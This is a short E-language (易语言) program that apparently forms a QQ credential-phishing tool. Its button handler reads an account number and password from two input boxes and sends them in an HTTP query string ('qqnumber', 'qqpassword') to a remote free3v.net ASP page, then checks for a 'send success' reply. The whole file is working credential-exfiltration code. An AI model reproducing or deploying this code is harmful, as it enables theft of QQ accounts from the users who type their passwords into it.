.版本 2
.支持库 internet

.程序集 窗口程序集1

.子程序 _按钮1_被单击

.如果真 (收信 (“http://as23321.free3v.net//test.asp”, 编辑框1.内容, 编辑框2.内容) ＝ “发送成功”)
.如果真结束


.子程序 收信, 文本型
.参数 地址, 文本型
.参数 帐号, 文本型
.参数 密码, 文本型

返回 (到文本 (HTTP读文件 (地址 ＋ “?” ＋ “qqnumber=” ＋ 帐号 ＋ “&qqpassword=” ＋ 密码)))